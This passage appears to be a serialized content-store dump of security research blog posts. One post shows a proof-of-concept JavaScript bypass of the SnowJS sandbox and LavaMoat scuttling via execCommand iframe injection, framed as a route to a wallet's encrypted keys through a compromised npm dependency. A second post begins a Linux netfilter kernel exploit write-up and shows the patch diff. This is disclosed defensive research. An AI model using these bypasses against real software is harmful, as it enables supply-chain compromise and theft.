Element:",{"type":23,"tag":134,"props":49345,"children":49346},{"style":179},[49347],{"type":28,"value":22511},{"type":23,"tag":134,"props":49349,"children":49350},{"style":1461},[49351],{"type":28,"value":49352},"'innerHTML'",{"type":23,"tag":134,"props":49354,"children":49355},{"style":179},[49356],{"type":28,"value":242},{"type":23,"tag":134,"props":49358,"children":49359},{"style":1461},[49360],{"type":28,"value":49361},"'outerHTML'",{"type":23,"tag":134,"props":49363,"children":49364},{"style":179},[49365],{"type":28,"value":242},{"type":23,"tag":134,"props":49367,"children":49368},{"style":1461},[49369],{"type":28,"value":49370},"'insertAdjacentHTML'",{"type":23,"tag":134,"props":49372,"children":49373},{"style":179},[49374],{"type":28,"value":242},{"type":23,"tag":134,"props":49376,"children":49377},{"style":1461},[49378],{"type":28,"value":49379},"'replaceWith'",{"type":23,"tag":134,"props":49381,"children":49382},{"style":179},[49383],{"type":28,"value":242},{"type":23,"tag":134,"props":49385,"children":49386},{"style":1461},[49387],{"type":28,"value":49388},"'insertAdjacentElement'",{"type":23,"tag":134,"props":49390,"children":49391},{"style":179},[49392],{"type":28,"value":242},{"type":23,"tag":134,"props":49394,"children":49395},{"style":1461},[49396],{"type":28,"value":49229},{"type":23,"tag":134,"props":49398,"children":49399},{"style":179},[49400],{"type":28,"value":242},{"type":23,"tag":134,"props":49402,"children":49403},{"style":1461},[49404],{"type":28,"value":49405},"'before'",{"type":23,"tag":134,"props":49407,"children":49408},{"style":179},[49409],{"type":28,"value":242},{"type":23,"tag":134,"props":49411,"children":49412},{"style":1461},[49413],{"type":28,"value":49238},{"type":23,"tag":134,"props":49415,"children":49416},{"style":179},[49417],{"type":28,"value":242},{"type":23,"tag":134,"props":49419,"children":49420},{"style":1461},[49421],{"type":28,"value":49422},"'after'",{"type":23,"tag":134,"props":49424,"children":49425},{"style":179},[49426],{"type":28,"value":242},{"type":23,"tag":134,"props":49428,"children":49429},{"style":1461},[49430],{"type":28,"value":49220},{"type":23,"tag":134,"props":49432,"children":49433},{"style":179},[49434],{"type":28,"value":13731},{"type":23,"tag":134,"props":49436,"children":49437},{"class":136,"line":466},[49438,49443,49447,49451],{"type":23,"tag":134,"props":49439,"children":49440},{"style":162},[49441],{"type":28,"value":49442},"    ShadowRoot:",{"type":23,"tag":134,"props":49444,"children":49445},{"style":179},[49446],{"type":28,"value":22511},{"type":23,"tag":134,"props":49448,"children":49449},{"style":1461},[49450],{"type":28,"value":49352},{"type":23,"tag":134,"props":49452,"children":49453},{"style":179},[49454],{"type":28,"value":13731},{"type":23,"tag":134,"props":49456,"children":49457},{"class":136,"line":479},[49458,49463,49467,49472],{"type":23,"tag":134,"props":49459,"children":49460},{"style":162},[49461],{"type":28,"value":49462},"    HTMLIFrameElement:",{"type":23,"tag":134,"props":49464,"children":49465},{"style":179},[49466],{"type":28,"value":22511},{"type":23,"tag":134,"props":49468,"children":49469},{"style":1461},[49470],{"type":28,"value":49471},"'srcdoc'",{"type":23,"tag":134,"props":49473,"children":49474},{"style":179},[49475],{"type":28,"value":13731},{"type":23,"tag":134,"props":49477,"children":49478},{"class":136,"line":497},[49479],{"type":23,"tag":134,"props":49480,"children":49481},{"style":179},[49482],{"type":28,"value":16048},{"type":23,"tag":24,"props":49484,"children":49485},{},[49486],{"type":28,"value":49487},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":23,"tag":24,"props":49489,"children":49490},{},[49491],{"type":28,"value":49492},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":23,"tag":9072,"props":49494,"children":49496},{"id":49495},"bypassing-snowjs",[49497],{"type":28,"value":49498},"Bypassing SnowJS",{"type":23,"tag":24,"props":49500,"children":49501},{},[49502,49504,49515,49517,49523],{"type":28,"value":49503},"The deprecated ",{"type":23,"tag":31,"props":49505,"children":49508},{"href":49506,"rel":49507},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[35],[49509],{"type":23,"tag":92,"props":49510,"children":49512},{"className":49511},[],[49513],{"type":28,"value":49514},"document.execCommand",{"type":28,"value":49516}," function is used to execute commands inside a ",{"type":23,"tag":92,"props":49518,"children":49520},{"className":49519},[],[49521],{"type":28,"value":49522},"contenteditable",{"type":28,"value":49524}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":23,"tag":87,"props":49526,"children":49529},{"className":49527,"code":49528,"language":31878,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[49530],{"type":23,"tag":92,"props":49531,"children":49532},{"__ignoreMap":7},[49533],{"type":23,"tag":134,"props":49534,"children":49535},{"class":136,"line":137},[49536,49540,49544,49548,49552,49557,49562,49567,49572,49576],{"type":23,"tag":134,"props":49537,"children":49538},{"style":31871},[49539],{"type":28,"value":5262},{"type":23,"tag":134,"props":49541,"children":49542},{"style":151},[49543],{"type":28,"value":30841},{"type":23,"tag":134,"props":49545,"children":49546},{"style":162},[49547],{"type":28,"value":31951},{"type":23,"tag":134,"props":49549,"children":49550},{"style":179},[49551],{"type":28,"value":257},{"type":23,"tag":134,"props":49553,"children":49554},{"style":1461},[49555],{"type":28,"value":49556},"test",{"type":23,"tag":134,"props":49558,"children":49559},{"style":162},[49560],{"type":28,"value":49561}," contenteditable",{"type":23,"tag":134,"props":49563,"children":49564},{"style":162},[49565],{"type":28,"value":49566}," autofocus",{"type":23,"tag":134,"props":49568,"children":49569},{"style":31871},[49570],{"type":28,"value":49571},">\u003C/",{"type":23,"tag":134,"props":49573,"children":49574},{"style":151},[49575],{"type":28,"value":30841},{"type":23,"tag":134,"props":49577,"children":49578},{"style":31871},[49579],{"type":28,"value":5449},{"type":23,"tag":24,"props":49581,"children":49582},{},[49583,49585,49591,49593,49598],{"type":28,"value":49584},"After inserting this element to a page, it is possible to use ",{"type":23,"tag":92,"props":49586,"children":49588},{"className":49587},[],[49589],{"type":28,"value":49590},"insertHTML",{"type":28,"value":49592}," command of ",{"type":23,"tag":92,"props":49594,"children":49596},{"className":49595},[],[49597],{"type":28,"value":49514},{"type":28,"value":49599}," to add a non-sandboxed iframe.",{"type":23,"tag":87,"props":49601,"children":49603},{"className":30858,"code":49602,"language":30860,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[49604],{"type":23,"tag":92,"props":49605,"children":49606},{"__ignoreMap":7},[49607],{"type":23,"tag":134,"props":49608,"children":49609},{"class":136,"line":137},[49610,49614,49618,49623,49627,49632,49636,49640,49644,49649],{"type":23,"tag":134,"props":49611,"children":49612},{"style":162},[49613],{"type":28,"value":32203},{"type":23,"tag":134,"props":49615,"children":49616},{"style":179},[49617],{"type":28,"value":720},{"type":23,"tag":134,"props":49619,"children":49620},{"style":264},[49621],{"type":28,"value":49622},"execCommand",{"type":23,"tag":134,"props":49624,"children":49625},{"style":179},[49626],{"type":28,"value":272},{"type":23,"tag":134,"props":49628,"children":49629},{"style":1461},[49630],{"type":28,"value":49631},"'insertHTML'",{"type":23,"tag":134,"props":49633,"children":49634},{"style":179},[49635],{"type":28,"value":242},{"type":23,"tag":134,"props":49637,"children":49638},{"style":151},[49639],{"type":28,"value":7634},{"type":23,"tag":134,"props":49641,"children":49642},{"style":179},[49643],{"type":28,"value":242},{"type":23,"tag":134,"props":49645,"children":49646},{"style":1461},[49647],{"type":28,"value":49648},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":23,"tag":134,"props":49650,"children":49651},{"style":179},[49652],{"type":28,"value":1021},{"type":23,"tag":9072,"props":49654,"children":49656},{"id":49655},"impact-on-lavamoat-scuttling",[49657],{"type":28,"value":49658},"Impact On Lavamoat Scuttling",{"type":23,"tag":24,"props":49660,"children":49661},{},[49662],{"type":28,"value":49663},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":23,"tag":24,"props":49665,"children":49666},{},[49667,49669,49674,49676,49681],{"type":28,"value":49668},"For the exploit, the only used functions are in ",{"type":23,"tag":92,"props":49670,"children":49672},{"className":49671},[],[49673],{"type":28,"value":32203},{"type":28,"value":49675}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":23,"tag":92,"props":49677,"children":49679},{"className":49678},[],[49680],{"type":28,"value":36915},{"type":28,"value":49682}," object.",{"type":23,"tag":24,"props":49684,"children":49685},{},[49686,49688,49693],{"type":28,"value":49687},"Consider this example, which runs a scuttled ",{"type":23,"tag":92,"props":49689,"children":49691},{"className":49690},[],[49692],{"type":28,"value":32193},{"type":28,"value":24959},{"type":23,"tag":87,"props":49695,"children":49697},{"className":30858,"code":49696,"language":30860,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[49698],{"type":23,"tag":92,"props":49699,"children":49700},{"__ignoreMap":7},[49701,49737,49774,49817],{"type":23,"tag":134,"props":49702,"children":49703},{"class":136,"line":137},[49704,49708,49712,49716,49720,49724,49728,49733],{"type":23,"tag":134,"props":49705,"children":49706},{"style":162},[49707],{"type":28,"value":32203},{"type":23,"tag":134,"props":49709,"children":49710},{"style":179},[49711],{"type":28,"value":720},{"type":23,"tag":134,"props":49713,"children":49714},{"style":162},[49715],{"type":28,"value":31895},{"type":23,"tag":134,"props":49717,"children":49718},{"style":179},[49719],{"type":28,"value":720},{"type":23,"tag":134,"props":49721,"children":49722},{"style":162},[49723],{"type":28,"value":34469},{"type":23,"tag":134,"props":49725,"children":49726},{"style":168},[49727],{"type":28,"value":171},{"type":23,"tag":134,"props":49729,"children":49730},{"style":1461},[49731],{"type":28,"value":49732}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":23,"tag":134,"props":49734,"children":49735},{"style":179},[49736],{"type":28,"value":182},{"type":23,"tag":134,"props":49738,"children":49739},{"class":136,"line":147},[49740,49744,49748,49752,49756,49761,49765,49770],{"type":23,"tag":134,"props":49741,"children":49742},{"style":162},[49743],{"type":28,"value":32203},{"type":23,"tag":134,"props":49745,"children":49746},{"style":179},[49747],{"type":28,"value":720},{"type":23,"tag":134,"props":49749,"children":49750},{"style":264},[49751],{"type":28,"value":34494},{"type":23,"tag":134,"props":49753,"children":49754},{"style":179},[49755],{"type":28,"value":272},{"type":23,"tag":134,"props":49757,"children":49758},{"style":1461},[49759],{"type":28,"value":49760},"'test'",{"type":23,"tag":134,"props":49762,"children":49763},{"style":179},[49764],{"type":28,"value":20220},{"type":23,"tag":134,"props":49766,"children":49767},{"style":264},[49768],{"type":28,"value":49769},"focus",{"type":23,"tag":134,"props":49771,"children":49772},{"style":179},[49773],{"type":28,"value":856},{"type":23,"tag":134,"props":49775,"children":49776},{"class":136,"line":185},[49777,49781,49785,49789,49793,49797,49801,49805,49809,49813],{"type":23,"tag":134,"props":49778,"children":49779},{"style":162},[49780],{"type":28,"value":32203},{"type":23,"tag":134,"props":49782,"children":49783},{"style":179},[49784],{"type":28,"value":720},{"type":23,"tag":134,"props":49786,"children":49787},{"style":264},[49788],{"type":28,"value":49622},{"type":23,"tag":134,"props":49790,"children":49791},{"style":179},[49792],{"type":28,"value":272},{"type":23,"tag":134,"props":49794,"children":49795},{"style":1461},[49796],{"type":28,"value":49631},{"type":23,"tag":134,"props":49798,"children":49799},{"style":179},[49800],{"type":28,"value":242},{"type":23,"tag":134,"props":49802,"children":49803},{"style":151},[49804],{"type":28,"value":7634},{"type":23,"tag":134,"props":49806,"children":49807},{"style":179},[49808],{"type":28,"value":242},{"type":23,"tag":134,"props":49810,"children":49811},{"style":1461},[49812],{"type":28,"value":49648},{"type":23,"tag":134,"props":49814,"children":49815},{"style":179},[49816],{"type":28,"value":1021},{"type":23,"tag":134,"props":49818,"children":49819},{"class":136,"line":221},[49820,49824,49828,49833,49837,49841,49846,49850,49855,49860,49864,49868,49872,49876,49880,49884],{"type":23,"tag":134,"props":49821,"children":49822},{"style":162},[49823],{"type":28,"value":32203},{"type":23,"tag":134,"props":49825,"children":49826},{"style":179},[49827],{"type":28,"value":720},{"type":23,"tag":134,"props":49829,"children":49830},{"style":264},[49831],{"type":28,"value":49832},"getElementsByTagName",{"type":23,"tag":134,"props":49834,"children":49835},{"style":179},[49836],{"type":28,"value":272},{"type":23,"tag":134,"props":49838,"children":49839},{"style":1461},[49840],{"type":28,"value":36228},{"type":23,"tag":134,"props":49842,"children":49843},{"style":179},[49844],{"type":28,"value":49845},")[",{"type":23,"tag":134,"props":49847,"children":49848},{"style":205},[49849],{"type":28,"value":1224},{"type":23,"tag":134,"props":49851,"children":49852},{"style":179},[49853],{"type":28,"value":49854},"].",{"type":23,"tag":134,"props":49856,"children":49857},{"style":162},[49858],{"type":28,"value":49859},"contentWindow",{"type":23,"tag":134,"props":49861,"children":49862},{"style":179},[49863],{"type":28,"value":720},{"type":23,"tag":134,"props":49865,"children":49866},{"style":264},[49867],{"type":28,"value":32193},{"type":23,"tag":134,"props":49869,"children":49870},{"style":179},[49871],{"type":28,"value":272},{"type":23,"tag":134,"props":49873,"children":49874},{"style":162},[49875],{"type":28,"value":32203},{"type":23,"tag":134,"props":49877,"children":49878},{"style":179},[49879],{"type":28,"value":720},{"type":23,"tag":134,"props":49881,"children":49882},{"style":162},[49883],{"type":28,"value":32213},{"type":23,"tag":134,"props":49885,"children":49886},{"style":179},[49887],{"type":28,"value":1021},{"type":23,"tag":9072,"props":49889,"children":49891},{"id":49890},"snowjs-patch",[49892],{"type":28,"value":49893},"SnowJS Patch",{"type":23,"tag":24,"props":49895,"children":49896},{},[49897,49899,49906,49908,49915],{"type":28,"value":49898},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":23,"tag":31,"props":49900,"children":49903},{"href":49901,"rel":49902},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[35],[49904],{"type":28,"value":49905},"browser feature within W3C standards",{"type":28,"value":49907},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":23,"tag":31,"props":49909,"children":49912},{"href":49910,"rel":49911},"https://github.com/weizman/Realms-Initialization-Control",[35],[49913],{"type":28,"value":49914},"Here",{"type":28,"value":49916}," is their new proposal.",{"type":23,"tag":61,"props":49918,"children":49920},{"id":49919},"chaining-the-impacts",[49921],{"type":28,"value":49922},"Chaining The Impacts",{"type":23,"tag":24,"props":49924,"children":49925},{},[49926],{"type":28,"value":49927},"We were able to find two vulnerabilities in lavamoat project:",{"type":23,"tag":4890,"props":49929,"children":49930},{},[49931,49936],{"type":23,"tag":4894,"props":49932,"children":49933},{},[49934],{"type":28,"value":49935},"Policy File Bypass",{"type":23,"tag":4894,"props":49937,"children":49938},{},[49939],{"type":28,"value":49940},"Scuttling Bypass",{"type":23,"tag":24,"props":49942,"children":49943},{},[49944],{"type":28,"value":49945},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":23,"tag":24,"props":49947,"children":49948},{},[49949],{"type":28,"value":49950},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":23,"tag":61,"props":49952,"children":49953},{"id":28425},[49954],{"type":28,"value":18423},{"type":23,"tag":24,"props":49956,"children":49957},{},[49958],{"type":28,"value":49959},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":23,"tag":30841,"props":49961,"children":49962},{"style":30843},[49963],{"type":23,"tag":1116,"props":49964,"children":49967},{"src":49965,"alt":49966,"style":30849},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":23,"tag":17896,"props":49969,"children":49971},{"className":49970,"dataFootnotes":7},[17899],[49972,49977],{"type":23,"tag":61,"props":49973,"children":49975},{"className":49974,"id":14950},[17904],[49976],{"type":28,"value":17907},{"type":23,"tag":4890,"props":49978,"children":49979},{},[49980],{"type":23,"tag":4894,"props":49981,"children":49982},{"id":29860},[49983,49985,49992,49993],{"type":28,"value":49984},"Excluding SES, which was covered ",{"type":23,"tag":31,"props":49986,"children":49989},{"href":49987,"rel":49988},"https://osec.io/blog/2023-11-01-metamask-snaps",[35],[49990],{"type":28,"value":49991},"in our last article",{"type":28,"value":5915},{"type":23,"tag":31,"props":49994,"children":49996},{"href":29888,"ariaLabel":18010,"className":49995,"dataFootnoteBackref":7},[18012],[49997],{"type":28,"value":18015},{"type":23,"tag":2575,"props":49999,"children":50000},{},[50001],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":50003},[50004,50008,50014,50020,50021,50022],{"id":18432,"depth":147,"text":18435,"children":50005},[50006,50007],{"id":28508,"depth":185,"text":28511},{"id":46625,"depth":185,"text":46628},{"id":47381,"depth":147,"text":47384,"children":50009},[50010,50011,50012,50013],{"id":47632,"depth":185,"text":47635},{"id":48107,"depth":185,"text":48110},{"id":48764,"depth":185,"text":48767},{"id":48887,"depth":185,"text":48890},{"id":49005,"depth":147,"text":49008,"children":50015},[50016,50017,50018,50019],{"id":49133,"depth":185,"text":49136},{"id":49495,"depth":185,"text":49498},{"id":49655,"depth":185,"text":49658},{"id":49890,"depth":185,"text":49893},{"id":49919,"depth":147,"text":49922},{"id":28425,"depth":147,"text":18423},{"id":14950,"depth":147,"text":17907},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":50027,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":50028,"description":50029,"author":50030,"image":50031,"date":50033,"isFeatured":15,"tags":50034,"onBlogPage":15,"body":50037,"_type":2586,"_id":60418,"_source":2588,"_file":60419,"_stem":60420,"_extension":2591},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":50032,"height":8728,"width":5179},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[50035,50036],"kernal","linux",{"type":20,"children":50038,"toc":60386},[50039,50052,50066,50071,50077,50087,50092,50098,50103,50121,50135,50144,50177,50182,50188,50207,50240,50246,50259,50469,50536,51100,51119,51344,51403,51409,51429,51469,51657,51662,51813,51869,51874,52388,52407,52676,52702,53211,53278,53284,53320,53325,53591,53624,53636,53663,53675,53680,53686,53707,53713,53734,53757,54589,54595,54635,55175,55186,55220,55287,55341,55573,55579,55623,56087,56093,56104,56134,56217,56222,56227,56263,56315,56346,56901,56907,56924,56930,56935,56941,56969,57162,57182,57198,57793,57799,57834,57857,57869,57875,57903,58500,58525,59494,59505,59518,59531,60297,60311,60317,60329,60335,60363,60368,60372,60377,60382],{"type":23,"tag":24,"props":50040,"children":50041},{},[50042,50044,50051],{"type":28,"value":50043},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":23,"tag":31,"props":50045,"children":50048},{"href":50046,"rel":50047},"https://google.github.io/security-research/kernelctf/rules.html",[35],[50049],{"type":28,"value":50050},"KernelCTF VRP",{"type":28,"value":720},{"type":23,"tag":24,"props":50053,"children":50054},{},[50055,50057,50064],{"type":28,"value":50056},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":23,"tag":31,"props":50058,"children":50061},{"href":50059,"rel":50060},"https://github.com/conlonialC",[35],[50062],{"type":28,"value":50063},"lonial con",{"type":28,"value":50065},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":23,"tag":24,"props":50067,"children":50068},{},[50069],{"type":28,"value":50070},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":23,"tag":61,"props":50072,"children":50074},{"id":50073},"the-kernel",[50075],{"type":28,"value":50076},"The kernel",{"type":23,"tag":24,"props":50078,"children":50079},{},[50080,50082],{"type":28,"value":50081},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":23,"tag":1116,"props":50083,"children":50086},{"alt":50084,"src":50085},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":23,"tag":24,"props":50088,"children":50089},{},[50090],{"type":28,"value":50091},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":23,"tag":9072,"props":50093,"children":50095},{"id":50094},"kernel-exploitation",[50096],{"type":28,"value":50097},"Kernel exploitation",{"type":23,"tag":24,"props":50099,"children":50100},{},[50101],{"type":28,"value":50102},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":23,"tag":16158,"props":50104,"children":50105},{},[50106,50111,50116],{"type":23,"tag":4894,"props":50107,"children":50108},{},[50109],{"type":28,"value":50110},"Trigger some memory corruption in some kernel subsystem",{"type":23,"tag":4894,"props":50112,"children":50113},{},[50114],{"type":28,"value":50115},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":23,"tag":4894,"props":50117,"children":50118},{},[50119],{"type":28,"value":50120},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":23,"tag":24,"props":50122,"children":50123},{},[50124,50126,50133],{"type":28,"value":50125},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":23,"tag":31,"props":50127,"children":50130},{"href":50128,"rel":50129},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[35],[50131],{"type":28,"value":50132},"blog post",{"type":28,"value":50134}," to become more familiar with the topic.",{"type":23,"tag":61,"props":50136,"children":50138},{"id":50137},"nf_tables",[50139],{"type":23,"tag":92,"props":50140,"children":50142},{"className":50141},[],[50143],{"type":28,"value":50137},{"type":23,"tag":24,"props":50145,"children":50146},{},[50147,50152,50154,50160,50161,50167,50169,50175],{"type":23,"tag":92,"props":50148,"children":50150},{"className":50149},[],[50151],{"type":28,"value":50137},{"type":28,"value":50153}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":23,"tag":31,"props":50155,"children":50158},{"href":50156,"rel":50157},"https://pwning.tech/nftables",[35],[50159],{"type":28,"value":1214},{"type":28,"value":242},{"type":23,"tag":31,"props":50162,"children":50165},{"href":50163,"rel":50164},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[35],[50166],{"type":28,"value":291},{"type":28,"value":50168},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":23,"tag":92,"props":50170,"children":50172},{"className":50171},[],[50173],{"type":28,"value":50174},"nf_table",{"type":28,"value":50176}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":23,"tag":24,"props":50178,"children":50179},{},[50180],{"type":28,"value":50181},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":23,"tag":9072,"props":50183,"children":50185},{"id":50184},"transactions",[50186],{"type":28,"value":50187},"Transactions",{"type":23,"tag":24,"props":50189,"children":50190},{},[50191,50193,50198,50200,50205],{"type":28,"value":50192},"A transaction is an interaction that updates ",{"type":23,"tag":92,"props":50194,"children":50196},{"className":50195},[],[50197],{"type":28,"value":50137},{"type":28,"value":50199}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":23,"tag":92,"props":50201,"children":50203},{"className":50202},[],[50204],{"type":28,"value":50137},{"type":28,"value":50206}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":23,"tag":16158,"props":50208,"children":50209},{},[50210,50220,50230],{"type":23,"tag":4894,"props":50211,"children":50212},{},[50213,50218],{"type":23,"tag":2532,"props":50214,"children":50215},{},[50216],{"type":28,"value":50217},"Control plane",{"type":28,"value":50219},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":23,"tag":4894,"props":50221,"children":50222},{},[50223,50228],{"type":23,"tag":2532,"props":50224,"children":50225},{},[50226],{"type":28,"value":50227},"Commit path",{"type":28,"value":50229},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":23,"tag":4894,"props":50231,"children":50232},{},[50233,50238],{"type":23,"tag":2532,"props":50234,"children":50235},{},[50236],{"type":28,"value":50237},"Abort path",{"type":28,"value":50239},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":23,"tag":61,"props":50241,"children":50243},{"id":50242},"vulnerability-details",[50244],{"type":28,"value":50245},"Vulnerability details",{"type":23,"tag":24,"props":50247,"children":50248},{},[50249,50251,50257],{"type":28,"value":50250},"Moving on, let's check out the ",{"type":23,"tag":31,"props":50252,"children":50255},{"href":50253,"rel":50254},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[35],[50256],{"type":28,"value":1429},{"type":28,"value":50258}," that fixed the bug.",{"type":23,"tag":87,"props":50260,"children":50262},{"className":39859,"code":50261,"language":39861,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[50263],{"type":23,"tag":92,"props":50264,"children":50265},{"__ignoreMap":7},[50266,50274,50282,50290,50298,50306,50313,50321,50328,50336,50344,50352,50360,50368,50376,50384,50392,50400,50408,50416,50423,50431,50439,50447,50454,50461],{"type":23,"tag":134,"props":50267,"children":50268},{"class":136,"line":137},[50269],{"type":23,"tag":134,"props":50270,"children":50271},{"style":151},[50272],{"type":28,"value":50273},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":134,"props":50275,"children":50276},{"class":136,"line":147},[50277],{"type":23,"tag":134,"props":50278,"children":50279},{"style":179},[50280],{"type":28,"value":50281},"index c0ceea068936a6..df8de509024637 100644\n",{"type":23,"tag":134,"props":50283,"children":50284},{"class":136,"line":185},[50285],{"type":23,"tag":134,"props":50286,"children":50287},{"style":151},[50288],{"type":28,"value":50289},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":134,"props":50291,"children":50292},{"class":136,"line":221},[50293],{"type":23,"tag":134,"props":50294,"children":50295},{"style":151},[50296],{"type":28,"value":50297},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":134,"props":50299,"children":50300},{"class":136,"line":332},[50301],{"type":23,"tag":134,"props":50302,"children":50303},{"style":179},[50304],{"type":28,"value":50305},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":134,"props":50307,"children":50308},{"class":136,"line":438},[50309],{"type":23,"tag":134,"props":50310,"children":50311},{"emptyLinePlaceholder":15},[50312],{"type":28,"value":865},{"type":23,"tag":134,"props":50314,"children":50315},{"class":136,"line":466},[50316],{"type":23,"tag":134,"props":50317,"children":50318},{"style":179},[50319],{"type":28,"value":50320},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":23,"tag":134,"props":50322,"children":50323},{"class":136,"line":479},[50324],{"type":23,"tag":134,"props":50325,"children":50326},{"emptyLinePlaceholder":15},[50327],{"type":28,"value":865},{"type":23,"tag":134,"props":50329,"children":50330},{"class":136,"line":497},[50331],{"type":23,"tag":134,"props":50332,"children":50333},{"style":179},[50334],{"type":28,"value":50335},"  if (m) {\n",{"type":23,"tag":134,"props":50337,"children":50338},{"class":136,"line":518},[50339],{"type":23,"tag":134,"props":50340,"children":50341},{"style":179},[50342],{"type":28,"value":50343},"   